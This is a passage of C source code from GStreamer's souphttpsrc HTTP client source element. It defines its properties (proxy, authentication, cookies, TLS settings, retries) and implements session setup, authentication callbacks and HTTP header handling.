PROP_TLS_DATABASE, PROP_RETRIES, PROP_METHOD, PROP_TLS_INTERACTION, }; #define DEFAULT_USER_AGENT "GStreamer souphttpsrc " PACKAGE_VERSION " " #define DEFAULT_IRADIO_MODE TRUE #define DEFAULT_SOUP_LOG_LEVEL SOUP_LOGGER_LOG_HEADERS #define DEFAULT_COMPRESS FALSE #define DEFAULT_KEEP_ALIVE TRUE #define DEFAULT_SSL_STRICT TRUE #define DEFAULT_SSL_CA_FILE NULL #define DEFAULT_SSL_USE_SYSTEM_CA_FILE TRUE #define DEFAULT_TLS_DATABASE NULL #define DEFAULT_TLS_INTERACTION NULL #define DEFAULT_TIMEOUT 15 #define DEFAULT_RETRIES 3 #define DEFAULT_SOUP_METHOD NULL #define GROW_BLOCKSIZE_LIMIT 1 #define GROW_BLOCKSIZE_COUNT 1 #define GROW_BLOCKSIZE_FACTOR 2 #define REDUCE_BLOCKSIZE_LIMIT 0.20 #define REDUCE_BLOCKSIZE_COUNT 2 #define REDUCE_BLOCKSIZE_FACTOR 0.5 #define GROW_TIME_LIMIT (1 * GST_SECOND) static void gst_soup_http_src_uri_handler_init (gpointer g_iface, gpointer iface_data); static void gst_soup_http_src_finalize (GObject * gobject); static void gst_soup_http_src_dispose (GObject * gobject); static void gst_soup_http_src_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec); static void gst_soup_http_src_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec); static GstStateChangeReturn gst_soup_http_src_change_state (GstElement * element, GstStateChange transition); static void gst_soup_http_src_set_context (GstElement * element, GstContext * context); static GstFlowReturn gst_soup_http_src_create (GstPushSrc * psrc, GstBuffer ** outbuf); static gboolean gst_soup_http_src_start (GstBaseSrc * bsrc); static gboolean gst_soup_http_src_stop (GstBaseSrc * bsrc); static gboolean gst_soup_http_src_get_size (GstBaseSrc * bsrc, guint64 * size); static gboolean gst_soup_http_src_is_seekable (GstBaseSrc * bsrc); static gboolean gst_soup_http_src_do_seek (GstBaseSrc * bsrc, GstSegment * segment); static gboolean gst_soup_http_src_query (GstBaseSrc * bsrc, GstQuery * query); static gboolean gst_soup_http_src_unlock (GstBaseSrc * bsrc); static gboolean gst_soup_http_src_unlock_stop (GstBaseSrc * bsrc); static gboolean gst_soup_http_src_set_location (GstSoupHTTPSrc * src, const gchar * uri, GError ** error); static gboolean gst_soup_http_src_set_proxy (GstSoupHTTPSrc * src, const gchar * uri); static char *gst_soup_http_src_unicodify (const char *str); static gboolean gst_soup_http_src_build_message (GstSoupHTTPSrc * src, const gchar * method); static void gst_soup_http_src_cancel_message (GstSoupHTTPSrc * src); static gboolean gst_soup_http_src_add_range_header (GstSoupHTTPSrc * src, guint64 offset, guint64 stop_offset); static gboolean gst_soup_http_src_session_open (GstSoupHTTPSrc * src); static void gst_soup_http_src_session_close (GstSoupHTTPSrc * src); static GstFlowReturn gst_soup_http_src_parse_status (SoupMessage * msg, GstSoupHTTPSrc * src); static GstFlowReturn gst_soup_http_src_got_headers (GstSoupHTTPSrc * src, SoupMessage * msg); static void gst_soup_http_src_authenticate_cb (SoupSession * session, SoupMessage * msg, SoupAuth * auth, gboolean retrying, GstSoupHTTPSrc * src); #define gst_soup_http_src_parent_class parent_class G_DEFINE_TYPE_WITH_CODE (GstSoupHTTPSrc, gst_soup_http_src, GST_TYPE_PUSH_SRC, G_IMPLEMENT_INTERFACE (GST_TYPE_URI_HANDLER, gst_soup_http_src_uri_handler_init)); static void gst_soup_http_src_class_init (GstSoupHTTPSrcClass * klass) { GObjectClass *gobject_class; GstElementClass *gstelement_class; GstBaseSrcClass *gstbasesrc_class; GstPushSrcClass *gstpushsrc_class; gobject_class = (GObjectClass *) klass; gstelement_class = (GstElementClass *) klass; gstbasesrc_class = (GstBaseSrcClass *) klass; gstpushsrc_class = (GstPushSrcClass *) klass; gobject_class->set_property = gst_soup_http_src_set_property; gobject_class->get_property = gst_soup_http_src_get_property; gobject_class->finalize = gst_soup_http_src_finalize; gobject_class->dispose = gst_soup_http_src_dispose; g_object_class_install_property (gobject_class, PROP_LOCATION, g_param_spec_string ("location", "Location", "Location to read from", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_USER_AGENT, g_param_spec_string ("user-agent", "User-Agent", "Value of the User-Agent HTTP request header field", DEFAULT_USER_AGENT, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_AUTOMATIC_REDIRECT, g_param_spec_boolean ("automatic-redirect", "automatic-redirect", "Automatically follow HTTP redirects (HTTP Status Code 3xx)", TRUE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_PROXY, g_param_spec_string ("proxy", "Proxy", "HTTP proxy server URI", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_USER_ID, g_param_spec_string ("user-id", "user-id", "HTTP location URI user id for authentication", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_USER_PW, g_param_spec_string ("user-pw", "user-pw", "HTTP location URI user password for authentication", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_PROXY_ID, g_param_spec_string ("proxy-id", "proxy-id", "HTTP proxy URI user id for authentication", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_PROXY_PW, g_param_spec_string ("proxy-pw", "proxy-pw", "HTTP proxy URI user password for authentication", "", G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_COOKIES, g_param_spec_boxed ("cookies", "Cookies", "HTTP request cookies", G_TYPE_STRV, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_IS_LIVE, g_param_spec_boolean ("is-live", "is-live", "Act like a live source", FALSE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_TIMEOUT, g_param_spec_uint ("timeout", "timeout", "Value in seconds to timeout a blocking I/O (0 = No timeout).", 0, 3600, DEFAULT_TIMEOUT, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_EXTRA_HEADERS, g_param_spec_boxed ("extra-headers", "Extra Headers", "Extra headers to append to the HTTP request", GST_TYPE_STRUCTURE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); g_object_class_install_property (gobject_class, PROP_IRADIO_MODE, g_param_spec_boolean ("iradio-mode", "iradio-mode", "Enable internet radio mode (ask server to send shoutcast/icecast " "metadata interleaved with the actual stream data)", DEFAULT_IRADIO_MODE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::http-log-level: * * If set and > 0, captures and dumps HTTP session data as * log messages if log level >= GST_LEVEL_TRACE * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_SOUP_LOG_LEVEL, g_param_spec_enum ("http-log-level", "HTTP log level", "Set log level for soup's HTTP session log", SOUP_TYPE_LOGGER_LOG_LEVEL, DEFAULT_SOUP_LOG_LEVEL, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::compress: * * If set to %TRUE, souphttpsrc will automatically handle gzip * and deflate Content-Encodings. This does not make much difference * and causes more load for normal media files, but makes a real * difference in size for plaintext files. * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_COMPRESS, g_param_spec_boolean ("compress", "Compress", "Allow compressed content encodings", DEFAULT_COMPRESS, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::keep-alive: * * If set to %TRUE, souphttpsrc will keep alive connections when being * set to READY state and only will close connections when connecting * to a different server or when going to NULL state.. * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_KEEP_ALIVE, g_param_spec_boolean ("keep-alive", "keep-alive", "Use HTTP persistent connections", DEFAULT_KEEP_ALIVE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::ssl-strict: * * If set to %TRUE, souphttpsrc will reject all SSL certificates that * are considered invalid. * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_SSL_STRICT, g_param_spec_boolean ("ssl-strict", "SSL Strict", "Strict SSL certificate checking", DEFAULT_SSL_STRICT, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::ssl-ca-file: * * A SSL anchor CA file that should be used for checking certificates * instead of the system CA file. * * If this property is non-%NULL, #GstSoupHTTPSrc::ssl-use-system-ca-file * value will be ignored. * * Deprecated: Use #GstSoupHTTPSrc::tls-database property instead. * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_SSL_CA_FILE, g_param_spec_string ("ssl-ca-file", "SSL CA File", "Location of a SSL anchor CA file to use", DEFAULT_SSL_CA_FILE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::ssl-use-system-ca-file: * * If set to %TRUE, souphttpsrc will use the system's CA file for * checking certificates, unless #GstSoupHTTPSrc::ssl-ca-file or * #GstSoupHTTPSrc::tls-database are non-%NULL. * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_SSL_USE_SYSTEM_CA_FILE, g_param_spec_boolean ("ssl-use-system-ca-file", "Use System CA File", "Use system CA file", DEFAULT_SSL_USE_SYSTEM_CA_FILE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::tls-database: * * TLS database with anchor certificate authorities used to validate * the server certificate. * * If this property is non-%NULL, #GstSoupHTTPSrc::ssl-use-system-ca-file * and #GstSoupHTTPSrc::ssl-ca-file values will be ignored. * * Since: 1.6 */ g_object_class_install_property (gobject_class, PROP_TLS_DATABASE, g_param_spec_object ("tls-database", "TLS database", "TLS database with anchor certificate authorities used to validate the server certificate", G_TYPE_TLS_DATABASE, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::tls-interaction: * * A #GTlsInteraction object to be used when the connection or certificate * database need to interact with the user. This will be used to prompt the * user for passwords or certificate where necessary. * * Since: 1.8 */ g_object_class_install_property (gobject_class, PROP_TLS_INTERACTION, g_param_spec_object ("tls-interaction", "TLS interaction", "A GTlsInteraction object to be used when the connection or certificate database need to interact with the user.", G_TYPE_TLS_INTERACTION, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::retries: * * Maximum number of retries until giving up. * * Since: 1.4 */ g_object_class_install_property (gobject_class, PROP_RETRIES, g_param_spec_int ("retries", "Retries", "Maximum number of retries until giving up (-1=infinite)", -1, G_MAXINT, DEFAULT_RETRIES, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); /** * GstSoupHTTPSrc::method * * The HTTP method to use when making a request * * Since: 1.6 */ g_object_class_install_property (gobject_class, PROP_METHOD, g_param_spec_string ("method", "HTTP method", "The HTTP method to use (GET, HEAD, OPTIONS, etc)", DEFAULT_SOUP_METHOD, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); gst_element_class_add_static_pad_template (gstelement_class, &srctemplate); gst_element_class_set_static_metadata (gstelement_class, "HTTP client source", "Source/Network", "Receive data as a client over the network via HTTP using SOUP", "Wouter Cloetens <wouter@mind.be>"); gstelement_class->change_state = GST_DEBUG_FUNCPTR (gst_soup_http_src_change_state); gstelement_class->set_context = GST_DEBUG_FUNCPTR (gst_soup_http_src_set_context); gstbasesrc_class->start = GST_DEBUG_FUNCPTR (gst_soup_http_src_start); gstbasesrc_class->stop = GST_DEBUG_FUNCPTR (gst_soup_http_src_stop); gstbasesrc_class->unlock = GST_DEBUG_FUNCPTR (gst_soup_http_src_unlock); gstbasesrc_class->unlock_stop = GST_DEBUG_FUNCPTR (gst_soup_http_src_unlock_stop); gstbasesrc_class->get_size = GST_DEBUG_FUNCPTR (gst_soup_http_src_get_size); gstbasesrc_class->is_seekable = GST_DEBUG_FUNCPTR (gst_soup_http_src_is_seekable); gstbasesrc_class->do_seek = GST_DEBUG_FUNCPTR (gst_soup_http_src_do_seek); gstbasesrc_class->query = GST_DEBUG_FUNCPTR (gst_soup_http_src_query); gstpushsrc_class->create = GST_DEBUG_FUNCPTR (gst_soup_http_src_create); GST_DEBUG_CATEGORY_INIT (souphttpsrc_debug, "souphttpsrc", 0, "SOUP HTTP src"); } static void gst_soup_http_src_reset (GstSoupHTTPSrc * src) { src->retry_count = 0; src->have_size = FALSE; src->got_headers = FALSE; src->seekable = FALSE; src->read_position = 0; src->request_position = 0; src->stop_position = -1; src->content_size = 0; src->have_body = FALSE; src->reduce_blocksize_count = 0; src->increase_blocksize_count = 0; src->last_socket_read_time = 0; g_cancellable_reset (src->cancellable); g_mutex_lock (&src->mutex); if (src->input_stream) { g_object_unref (src->input_stream); src->input_stream = NULL; } g_mutex_unlock (&src->mutex); gst_caps_replace (&src->src_caps, NULL); g_free (src->iradio_name); src->iradio_name = NULL; g_free (src->iradio_genre); src->iradio_genre = NULL; g_free (src->iradio_url); src->iradio_url = NULL; } static void gst_soup_http_src_init (GstSoupHTTPSrc * src) { const gchar *proxy; g_mutex_init (&src->mutex); g_cond_init (&src->have_headers_cond); src->cancellable = g_cancellable_new (); src->location = NULL; src->redirection_uri = NULL; src->automatic_redirect = TRUE; src->user_agent = g_strdup (DEFAULT_USER_AGENT); src->user_id = NULL; src->user_pw = NULL; src->proxy_id = NULL; src->proxy_pw = NULL; src->cookies = NULL; src->iradio_mode = DEFAULT_IRADIO_MODE; src->session = NULL; src->external_session = NULL; src->forced_external_session = FALSE; src->msg = NULL; src->timeout = DEFAULT_TIMEOUT; src->log_level = DEFAULT_SOUP_LOG_LEVEL; src->compress = DEFAULT_COMPRESS; src->keep_alive = DEFAULT_KEEP_ALIVE; src->ssl_strict = DEFAULT_SSL_STRICT; src->ssl_use_system_ca_file = DEFAULT_SSL_USE_SYSTEM_CA_FILE; src->tls_database = DEFAULT_TLS_DATABASE; src->tls_interaction = DEFAULT_TLS_INTERACTION; src->max_retries = DEFAULT_RETRIES; src->method = DEFAULT_SOUP_METHOD; src->minimum_blocksize = gst_base_src_get_blocksize (GST_BASE_SRC_CAST (src)); proxy = g_getenv ("http_proxy"); if (!gst_soup_http_src_set_proxy (src, proxy)) { GST_WARNING_OBJECT (src, "The proxy in the http_proxy env var (\"%s\") cannot be parsed.", proxy); } gst_base_src_set_automatic_eos (GST_BASE_SRC (src), FALSE); gst_soup_http_src_reset (src); } static void gst_soup_http_src_dispose (GObject * gobject) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (gobject); GST_DEBUG_OBJECT (src, "dispose"); gst_soup_http_src_session_close (src); if (src->external_session) { g_object_unref (src->external_session); src->external_session = NULL; } G_OBJECT_CLASS (parent_class)->dispose (gobject); } static void gst_soup_http_src_finalize (GObject * gobject) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (gobject); GST_DEBUG_OBJECT (src, "finalize"); g_mutex_clear (&src->mutex); g_cond_clear (&src->have_headers_cond); g_object_unref (src->cancellable); g_free (src->location); g_free (src->redirection_uri); g_free (src->user_agent); if (src->proxy != NULL) { soup_uri_free (src->proxy); } g_free (src->user_id); g_free (src->user_pw); g_free (src->proxy_id); g_free (src->proxy_pw); g_strfreev (src->cookies); if (src->extra_headers) { gst_structure_free (src->extra_headers); src->extra_headers = NULL; } g_free (src->ssl_ca_file); if (src->tls_database) g_object_unref (src->tls_database); g_free (src->method); if (src->tls_interaction) g_object_unref (src->tls_interaction); G_OBJECT_CLASS (parent_class)->finalize (gobject); } static void gst_soup_http_src_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (object); switch (prop_id) { case PROP_LOCATION: { const gchar *location; location = g_value_get_string (value); if (location == NULL) { GST_WARNING ("location property cannot be NULL"); goto done; } if (!gst_soup_http_src_set_location (src, location, NULL)) { GST_WARNING ("badly formatted location"); goto done; } break; } case PROP_USER_AGENT: g_free (src->user_agent); src->user_agent = g_value_dup_string (value); break; case PROP_IRADIO_MODE: src->iradio_mode = g_value_get_boolean (value); break; case PROP_AUTOMATIC_REDIRECT: src->automatic_redirect = g_value_get_boolean (value); break; case PROP_PROXY: { const gchar *proxy; proxy = g_value_get_string (value); if (!gst_soup_http_src_set_proxy (src, proxy)) { GST_WARNING ("badly formatted proxy URI"); goto done; } break; } case PROP_COOKIES: g_strfreev (src->cookies); src->cookies = g_strdupv (g_value_get_boxed (value)); break; case PROP_IS_LIVE: gst_base_src_set_live (GST_BASE_SRC (src), g_value_get_boolean (value)); break; case PROP_USER_ID: g_free (src->user_id); src->user_id = g_value_dup_string (value); break; case PROP_USER_PW: g_free (src->user_pw); src->user_pw = g_value_dup_string (value); break; case PROP_PROXY_ID: g_free (src->proxy_id); src->proxy_id = g_value_dup_string (value); break; case PROP_PROXY_PW: g_free (src->proxy_pw); src->proxy_pw = g_value_dup_string (value); break; case PROP_TIMEOUT: src->timeout = g_value_get_uint (value); break; case PROP_EXTRA_HEADERS:{ const GstStructure *s = gst_value_get_structure (value); if (src->extra_headers) gst_structure_free (src->extra_headers); src->extra_headers = s ? gst_structure_copy (s) : NULL; break; } case PROP_SOUP_LOG_LEVEL: src->log_level = g_value_get_enum (value); break; case PROP_COMPRESS: src->compress = g_value_get_boolean (value); break; case PROP_KEEP_ALIVE: src->keep_alive = g_value_get_boolean (value); break; case PROP_SSL_STRICT: src->ssl_strict = g_value_get_boolean (value); break; case PROP_SSL_CA_FILE: g_free (src->ssl_ca_file); src->ssl_ca_file = g_value_dup_string (value); break; case PROP_SSL_USE_SYSTEM_CA_FILE: src->ssl_use_system_ca_file = g_value_get_boolean (value); break; case PROP_TLS_DATABASE: g_clear_object (&src->tls_database); src->tls_database = g_value_dup_object (value); break; case PROP_TLS_INTERACTION: g_clear_object (&src->tls_interaction); src->tls_interaction = g_value_dup_object (value); break; case PROP_RETRIES: src->max_retries = g_value_get_int (value); break; case PROP_METHOD: g_free (src->method); src->method = g_value_dup_string (value); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } done: return; } static void gst_soup_http_src_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (object); switch (prop_id) { case PROP_LOCATION: g_value_set_string (value, src->location); break; case PROP_USER_AGENT: g_value_set_string (value, src->user_agent); break; case PROP_AUTOMATIC_REDIRECT: g_value_set_boolean (value, src->automatic_redirect); break; case PROP_PROXY: if (src->proxy == NULL) g_value_set_static_string (value, ""); else { char *proxy = soup_uri_to_string (src->proxy, FALSE); g_value_set_string (value, proxy); g_free (proxy); } break; case PROP_COOKIES: g_value_set_boxed (value, g_strdupv (src->cookies)); break; case PROP_IS_LIVE: g_value_set_boolean (value, gst_base_src_is_live (GST_BASE_SRC (src))); break; case PROP_IRADIO_MODE: g_value_set_boolean (value, src->iradio_mode); break; case PROP_USER_ID: g_value_set_string (value, src->user_id); break; case PROP_USER_PW: g_value_set_string (value, src->user_pw); break; case PROP_PROXY_ID: g_value_set_string (value, src->proxy_id); break; case PROP_PROXY_PW: g_value_set_string (value, src->proxy_pw); break; case PROP_TIMEOUT: g_value_set_uint (value, src->timeout); break; case PROP_EXTRA_HEADERS: gst_value_set_structure (value, src->extra_headers); break; case PROP_SOUP_LOG_LEVEL: g_value_set_enum (value, src->log_level); break; case PROP_COMPRESS: g_value_set_boolean (value, src->compress); break; case PROP_KEEP_ALIVE: g_value_set_boolean (value, src->keep_alive); break; case PROP_SSL_STRICT: g_value_set_boolean (value, src->ssl_strict); break; case PROP_SSL_CA_FILE: g_value_set_string (value, src->ssl_ca_file); break; case PROP_SSL_USE_SYSTEM_CA_FILE: g_value_set_boolean (value, src->ssl_use_system_ca_file); break; case PROP_TLS_DATABASE: g_value_set_object (value, src->tls_database); break; case PROP_TLS_INTERACTION: g_value_set_object (value, src->tls_interaction); break; case PROP_RETRIES: g_value_set_int (value, src->max_retries); break; case PROP_METHOD: g_value_set_string (value, src->method); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } } static gchar * gst_soup_http_src_unicodify (const gchar * str) { const gchar *env_vars[] = { "GST_ICY_TAG_ENCODING", "GST_TAG_ENCODING", NULL }; return gst_tag_freeform_string_to_utf8 (str, -1, env_vars); } static void gst_soup_http_src_cancel_message (GstSoupHTTPSrc * src) { g_cancellable_cancel (src->cancellable); g_cond_signal (&src->have_headers_cond); } static gboolean gst_soup_http_src_add_range_header (GstSoupHTTPSrc * src, guint64 offset, guint64 stop_offset) { gchar buf[64]; gint rc; soup_message_headers_remove (src->msg->request_headers, "Range"); if (offset || stop_offset != -1) { if (stop_offset != -1) { g_assert (offset != stop_offset); rc = g_snprintf (buf, sizeof (buf), "bytes=%" G_GUINT64_FORMAT "-%" G_GUINT64_FORMAT, offset, (stop_offset > 0) ? stop_offset - 1 : stop_offset); } else { rc = g_snprintf (buf, sizeof (buf), "bytes=%" G_GUINT64_FORMAT "-", offset); } if (rc > sizeof (buf) || rc < 0) return FALSE; soup_message_headers_append (src->msg->request_headers, "Range", buf); } src->read_position = offset; return TRUE; } static gboolean _append_extra_header (GQuark field_id, const GValue * value, gpointer user_data) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (user_data); const gchar *field_name = g_quark_to_string (field_id); gchar *field_content = NULL; if (G_VALUE_TYPE (value) == G_TYPE_STRING) { field_content = g_value_dup_string (value); } else { GValue dest = { 0, }; g_value_init (&dest, G_TYPE_STRING); if (g_value_transform (value, &dest)) { field_content = g_value_dup_string (&dest); } } if (field_content == NULL) { GST_ERROR_OBJECT (src, "extra-headers field '%s' contains no value " "or can't be converted to a string", field_name); return FALSE; } GST_DEBUG_OBJECT (src, "Appending extra header: \"%s: %s\"", field_name, field_content); soup_message_headers_append (src->msg->request_headers, field_name, field_content); g_free (field_content); return TRUE; } static gboolean _append_extra_headers (GQuark field_id, const GValue * value, gpointer user_data) { if (G_VALUE_TYPE (value) == GST_TYPE_ARRAY) { guint n = gst_value_array_get_size (value); guint i; for (i = 0; i < n; i++) { const GValue *v = gst_value_array_get_value (value, i); if (!_append_extra_header (field_id, v, user_data)) return FALSE; } } else if (G_VALUE_TYPE (value) == GST_TYPE_LIST) { guint n = gst_value_list_get_size (value); guint i; for (i = 0; i < n; i++) { const GValue *v = gst_value_list_get_value (value, i); if (!_append_extra_header (field_id, v, user_data)) return FALSE; } } else { return _append_extra_header (field_id, value, user_data); } return TRUE; } static gboolean gst_soup_http_src_add_extra_headers (GstSoupHTTPSrc * src) { if (!src->extra_headers) return TRUE; return gst_structure_foreach (src->extra_headers, _append_extra_headers, src); } static gboolean gst_soup_http_src_session_open (GstSoupHTTPSrc * src) { if (src->session) { GST_DEBUG_OBJECT (src, "Session is already open"); return TRUE; } if (!src->location) { GST_ELEMENT_ERROR (src, RESOURCE, OPEN_READ, (_("No URL set.")), ("Missing location property")); return FALSE; } if (!src->session) { GstQuery *query; gboolean can_share = (src->timeout == DEFAULT_TIMEOUT) && (src->ssl_strict == DEFAULT_SSL_STRICT) && (src->tls_interaction == NULL) && (src->proxy == NULL) && (src->tls_database == DEFAULT_TLS_DATABASE) && (src->ssl_ca_file == DEFAULT_SSL_CA_FILE) && (src->ssl_use_system_ca_file == DEFAULT_SSL_USE_SYSTEM_CA_FILE); query = gst_query_new_context (GST_SOUP_SESSION_CONTEXT); if (gst_pad_peer_query (GST_BASE_SRC_PAD (src), query)) { GstContext *context; gst_query_parse_context (query, &context); gst_element_set_context (GST_ELEMENT_CAST (src), context); } else { GstMessage *message; message = gst_message_new_need_context (GST_OBJECT_CAST (src), GST_SOUP_SESSION_CONTEXT); gst_element_post_message (GST_ELEMENT_CAST (src), message); } gst_query_unref (query); GST_OBJECT_LOCK (src); if (src->external_session && (can_share || src->forced_external_session)) { GST_DEBUG_OBJECT (src, "Using external session %p", src->external_session); src->session = g_object_ref (src->external_session); src->session_is_shared = TRUE; } else { GST_DEBUG_OBJECT (src, "Creating session (can share %d)", can_share); /* We explicitly set User-Agent to NULL here and overwrite it per message * to be able to have the same session with different User-Agents per * source */ if (src->proxy == NULL) { src->session = soup_session_new_with_options (SOUP_SESSION_USER_AGENT, NULL, SOUP_SESSION_TIMEOUT, src->timeout, SOUP_SESSION_SSL_STRICT, src->ssl_strict, SOUP_SESSION_TLS_INTERACTION, src->tls_interaction, NULL); } else { src->session = soup_session_new_with_options (SOUP_SESSION_PROXY_URI, src->proxy, SOUP_SESSION_TIMEOUT, src->timeout, SOUP_SESSION_SSL_STRICT, src->ssl_strict, SOUP_SESSION_USER_AGENT, NULL, SOUP_SESSION_TLS_INTERACTION, src->tls_interaction, NULL); } if (src->session) { gst_soup_util_log_setup (src->session, src->log_level, GST_ELEMENT (src)); soup_session_add_feature_by_type (src->session, SOUP_TYPE_CONTENT_DECODER); soup_session_add_feature_by_type (src->session, SOUP_TYPE_COOKIE_JAR); if (can_share) { GstContext *context; GstMessage *message; GstStructure *s; GST_DEBUG_OBJECT (src, "Sharing session %p", src->session); src->session_is_shared = TRUE; /* Unset the limit the number of maximum allowed connection */ g_object_set (src->session, SOUP_SESSION_MAX_CONNS, G_MAXINT, SOUP_SESSION_MAX_CONNS_PER_HOST, G_MAXINT, NULL); context = gst_context_new (GST_SOUP_SESSION_CONTEXT, TRUE); s = gst_context_writable_structure (context); gst_structure_set (s, "session", SOUP_TYPE_SESSION, src->session, "force", G_TYPE_BOOLEAN, FALSE, NULL); gst_object_ref (src->session); GST_OBJECT_UNLOCK (src); gst_element_set_context (GST_ELEMENT_CAST (src), context); message = gst_message_new_have_context (GST_OBJECT_CAST (src), context); gst_element_post_message (GST_ELEMENT_CAST (src), message); GST_OBJECT_LOCK (src); gst_object_unref (src->session); } else { src->session_is_shared = FALSE; } } } if (!src->session) { GST_ELEMENT_ERROR (src, LIBRARY, INIT, (NULL), ("Failed to create session")); GST_OBJECT_UNLOCK (src); return FALSE; } g_signal_connect (src->session, "authenticate", G_CALLBACK (gst_soup_http_src_authenticate_cb), src); if (!src->session_is_shared) { if (src->tls_database) g_object_set (src->session, "tls-database", src->tls_database, NULL); else if (src->ssl_ca_file) g_object_set (src->session, "ssl-ca-file", src->ssl_ca_file, NULL); else g_object_set (src->session, "ssl-use-system-ca-file", src->ssl_use_system_ca_file, NULL); } GST_OBJECT_UNLOCK (src); } else { GST_DEBUG_OBJECT (src, "Re-using session"); } return TRUE; } static void gst_soup_http_src_session_close (GstSoupHTTPSrc * src) { GST_DEBUG_OBJECT (src, "Closing session"); g_mutex_lock (&src->mutex); if (src->msg) { soup_session_cancel_message (src->session, src->msg, SOUP_STATUS_CANCELLED); g_object_unref (src->msg); src->msg = NULL; } if (src->session) { if (!src->session_is_shared) soup_session_abort (src->session); g_signal_handlers_disconnect_by_func (src->session, G_CALLBACK (gst_soup_http_src_authenticate_cb), src); g_object_unref (src->session); src->session = NULL; } g_mutex_unlock (&src->mutex); } static void gst_soup_http_src_authenticate_cb (SoupSession * session, SoupMessage * msg, SoupAuth * auth, gboolean retrying, GstSoupHTTPSrc * src) { /* Might be from another user of the shared session */ if (!GST_IS_SOUP_HTTP_SRC (src) || msg != src->msg) return; if (!retrying) { /* First time authentication only, if we fail and are called again with retry true fall through */ if (msg->status_code == SOUP_STATUS_UNAUTHORIZED) { if (src->user_id && src->user_pw) soup_auth_authenticate (auth, src->user_id, src->user_pw); } else if (msg->status_code == SOUP_STATUS_PROXY_AUTHENTICATION_REQUIRED) { if (src->proxy_id && src->proxy_pw) soup_auth_authenticate (auth, src->proxy_id, src->proxy_pw); } } } static void insert_http_header (const gchar * name, const gchar * value, gpointer user_data) { GstStructure *headers = user_data; const GValue *gv; if (!g_utf8_validate (name, -1, NULL) || !g_utf8_validate (value, -1, NULL)) return; gv = gst_structure_get_value (headers, name); if (gv && GST_VALUE_HOLDS_ARRAY (gv)) { GValue v = G_VALUE_INIT; g_value_init (&v, G_TYPE_STRING); g_value_set_string (&v, value); gst_value_array_append_value ((GValue *) gv, &v); g_value_unset (&v); } else if (gv && G_VALUE_HOLDS_STRING (gv)) { GValue arr = G_VALUE_INIT; GValue v = G_VALUE_INIT; const gchar *old_value = g_value_get_string (gv); g_value_init (&arr, GST_TYPE_ARRAY); g_value_init (&v, G_TYPE_STRING); g_value_set_string (&v, old_value); gst_value_array_append_value (&arr, &v); g_value_set_string (&v, value); gst_value_array_append_value (&arr, &v); gst_structure_set_value (headers, name, &arr); g_value_unset (&v); g_value_unset (&arr); } else { gst_structure_set (headers, name, G_TYPE_STRING, value, NULL); } } static GstFlowReturn gst_soup_http_src_got_headers (GstSoupHTTPSrc * src, SoupMessage * msg) { const char *value; GstTagList *tag_list; GstBaseSrc *basesrc; guint64 newsize; GHashTable *params = NULL; GstEvent *http_headers_event; GstStructure *http_headers, *headers; const gchar *accept_ranges; GST_INFO_OBJECT (src, "got headers"); if (msg->status_code == SOUP_STATUS_PROXY_AUTHENTICATION_REQUIRED && src->proxy_id && src->proxy_pw) { /* wait for authenticate callback */ return GST_FLOW_OK; } http_headers = gst_structure_new_empty ("http-headers"); gst_structure_set (http_headers, "uri", G_TYPE_STRING, src->location, "http-status-code", G_TYPE_UINT, msg->status_code, NULL); if (src->redirection_uri) gst_structure_set (http_headers, "redirection-uri", G_TYPE_STRING, src->redirection_uri, NULL); headers = gst_structure_new_empty ("request-headers"); soup_message_headers_foreach (msg->request_headers, insert_http_header, headers); gst_structure_set (http_headers, "request-headers", 